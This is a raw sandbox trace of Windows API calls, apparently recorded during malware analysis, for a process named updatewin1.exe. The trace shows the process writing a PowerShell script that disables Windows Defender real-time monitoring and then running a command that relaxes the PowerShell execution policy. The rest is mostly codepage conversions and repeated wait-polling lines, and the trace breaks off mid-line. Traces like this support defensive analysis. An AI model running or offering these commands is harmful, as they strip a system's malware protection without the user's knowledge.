!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ-èý\x90Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0056.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ-èý\x90Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x60a0d8 [0056.703] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe")) returned 0x5f [0056.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xdc) returned 0x60c168 [0056.703] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0056.704] GetLastError () returned 0x0 [0056.704] GetEnvironmentStringsW () returned 0x60c250* [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xaca) returned 0x60cd28 [0056.704] FreeEnvironmentStringsW (penv=0x60c250) returned 1 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x98) returned 0x60c250 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x60c2f0 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x60c338 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x60c3b0 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x5f1188 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x60c428 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f52d8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x60c498 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x60a160 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x60bd18 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x60c4e8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x5f1208 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5310 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f5348 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x60bd40 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x60c540 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x60c620 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x60c6a8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x60c6e8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x60c730 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x60c7c8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5380 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x60c7f8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x60c838 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x60c888 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x60d818 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x60c8e8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f53b8 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x60bd68 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5f53f0 [0056.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x60c978 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x60c9d8 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f5428 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x60d860 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x60ca38 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x60ca98 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5460 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x60cac8 [0056.705] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x60cd28 | out: hHeap=0x5e0000) returned 1 [0056.705] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x60cb60 [0056.706] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.706] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0056.717] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0056.717] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin" [0056.718] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x60d368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" [0056.718] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0056.733] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0056.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0056.735] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0056.735] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0056.735] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0056.736] CloseHandle (hObject=0xa8) returned 1 [0056.737] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x60ecd8 [0056.737] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x60ed50 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0056.737] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xb10, dwThreadId=0xb14)) returned 1 [0056.752] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.761] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.868] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.900] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.913] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.964] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.135] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.345] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.421] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.455] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.502] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.603] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.704] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.715] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.791] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.806] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.836] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.863] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.872] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.905] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.925] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.938] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.962] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.992] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.015] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.312] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.321] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.337] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.352] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.366] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.392] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.405] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.415] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.481] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.504] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.508] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.556] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.585] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.625] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.637] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.649] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.667] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.679] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.694] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.714] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.728] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.741] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.760] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.786] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.820] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.836] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.873] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.918] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.981] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.012] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.023] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.057] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.079] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.135] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.157] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.162] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.194] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.209] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.228] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.241] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.259] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.284] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.294] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.308] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.318] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.334] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.352] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.366] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.387] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.412] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.434] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.443] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.458] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.474] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.493] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.505] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.522] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.537] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.553] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.568] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.583] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.599] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.630] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.647] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.663] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.677] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.693] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.724] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.767] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.792] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.802] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.817] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.851] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 